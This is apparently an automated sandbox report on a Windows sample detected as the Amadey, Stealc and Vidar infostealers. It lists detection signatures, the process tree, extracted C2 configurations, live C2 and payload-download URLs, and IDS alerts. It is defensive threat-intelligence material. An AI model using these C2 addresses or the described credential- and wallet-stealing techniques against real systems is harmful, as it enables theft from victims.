Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561565
MD5:	6af05407143697f6c49bd94e5903f73a
SHA1:	003809f7aa6cb6ab5bf4ddb22dc659f22f0879ef
SHA256:	e4853246b4c0b4d13aa84e929cf4313961f176e893a8c1c29720a1eb7f68c5a7
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3564 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6AF05407143697F6C49BD94E5903F73A)

chrome.exe (PID: 7676 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7952 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2824 --field-trial-handle=2776,i,10771132185117842424,4452386678917931713,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7352 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 3328 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2220,i,17669870476821069415,9819844109615631793,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 7484 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHJDBKJKFI.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsFHJDBKJKFI.exe (PID: 7216 cmdline: "C:\Users\user\DocumentsFHJDBKJKFI.exe" MD5: 56A8D0EA738568054D6A68992C06AF83)

skotes.exe (PID: 9020 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 56A8D0EA738568054D6A68992C06AF83)

msedge.exe (PID: 6932 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7120 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2876 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8316 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6556 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8324 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6716 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8484 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7236 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8520 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7236 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 592 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6768 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 4372 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 56A8D0EA738568054D6A68992C06AF83)

skotes.exe (PID: 4540 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 56A8D0EA738568054D6A68992C06AF83)

rh.exe (PID: 2664 cmdline: "C:\Users\user\AppData\Local\Temp\1008496001\rh.exe" MD5: 4CECB04D97630CC2D5CCE80368B87FDD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2808726790.0000000000441000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.2825126451.0000000004C70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2887895698.0000000000D31000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2251663743.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000026.00000002.3452724623.0000000000101000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2865411900.0000000000101000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.2795756213.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2812126951.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000026.00000003.3284178172.00000000050E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2872409657.0000000005150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.2912852479.0000000000101000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 3564	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3564	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3564	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3564	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
26.2.DocumentsFHJDBKJKFI.exe.d30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.100000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.skotes.exe.100000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
38.2.skotes.exe.100000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3564, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7676, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T19:54:09.778686+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50114	31.41.244.11	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T19:54:17.132319+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50128	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T19:52:21.822127+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49736	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T19:52:21.525278+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49736	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T19:52:22.142811+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49736	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T19:52:23.853880+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49736	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T19:52:22.278072+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49736	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T19:52:21.020134+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49736	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T19:54:05.142815+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50102	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T19:54:15.776995+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50109	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T19:54:09.778686+0100	2803305	3	Unknown Traffic	192.168.2.6	50114	31.41.244.11	80	TCP
2024-11-23T19:54:18.700390+0100	2803305	3	Unknown Traffic	192.168.2.6	50133	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T19:52:24.590134+0100	2803304	3	Unknown Traffic	192.168.2.6	49736	185.215.113.206	80	TCP
2024-11-23T19:52:50.811484+0100	2803304	3	Unknown Traffic	192.168.2.6	49831	185.215.113.206	80	TCP
2024-11-23T19:52:52.998448+0100	2803304	3	Unknown Traffic	192.168.2.6	49831	185.215.113.206	80	TCP
2024-11-23T19:52:54.728526+0100	2803304	3	Unknown Traffic	192.168.2.6	49831	185.215.113.206	80	TCP
2024-11-23T19:52:56.166710+0100	2803304	3	Unknown Traffic	192.168.2.6	49831	185.215.113.206	80	TCP
2024-11-23T19:53:00.023821+0100	2803304	3	Unknown Traffic	192.168.2.6	49831	185.215.113.206	80	TCP
2024-11-23T19:53:01.254234+0100	2803304	3	Unknown Traffic	192.168.2.6	49831	185.215.113.206	80	TCP
2024-11-23T19:53:07.666148+0100	2803304	3	Unknown Traffic	192.168.2.6	49953	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/random.exe/	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpBKJKFI.exeata;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpY$I	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dll&	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpu$u	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllt	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpSY	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dlle	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/rh.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlln	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllZ	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001B.00000003.2825126451.0000000004C70000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2812126951.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\rh[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C946C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,		0_2_6C946C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,		0_2_6CA9A9A0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.6:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.6:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:50077 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2853389578.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2853389578.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 5MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49736 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49736 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49736
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49736 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49736
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49736 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50102 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50128 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50109

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.6:50144 -> 104.37.175.218:7982

